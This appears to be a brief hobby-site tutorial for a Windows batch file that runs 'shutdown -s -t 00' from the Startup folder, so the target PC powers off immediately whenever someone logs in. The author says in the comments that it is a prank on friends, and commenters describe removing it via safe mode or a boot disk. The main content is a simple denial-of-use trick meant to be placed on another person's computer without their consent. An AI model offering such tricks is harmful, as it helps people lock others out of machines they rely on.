Shut Down Pc When Someone Logs In

Published

Introduction: Shut Down Pc When Someone Logs In

About: Technology is my passion

HOW TO AUTOMATICALLY SHUT DOWN A PC AS A USER LOGS IN

Step 1:

copy the follwing code and paste it in a note pad

@echo off
cd / shutdown -s -t 00 -c "Permanent Shutdown" exit

Step 2: Save

after pasting the codes in note pad save it with a name of your desire or u can use my same name
save it with .bat extension and choose files type as all files

once you are done,the computer u want to shut down as a user logs in
go to start up folder and place this batch file in that folder so next tine as a user logs in this batch file will automatically execute

Share

    Recommendations

    • Casting Contest

      Casting Contest
    • Clocks Contest

      Clocks Contest
    • Woodworking Contest

      Woodworking Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    7 Comments

    Since I'm not quite sure why you would go this route to secure the computer. I would probably have a live boot disk around and boot to that. Then access the drive and delete/rename the file. I'm sure there are other ways.

    Why did you create this?

    user

    for fun buddy,,,just to prank friends

    user

    for fun buddy,,,just to prank friends

    user

    boot the computer in save mode and go to start up folder and delete the batch file and restart your pc.............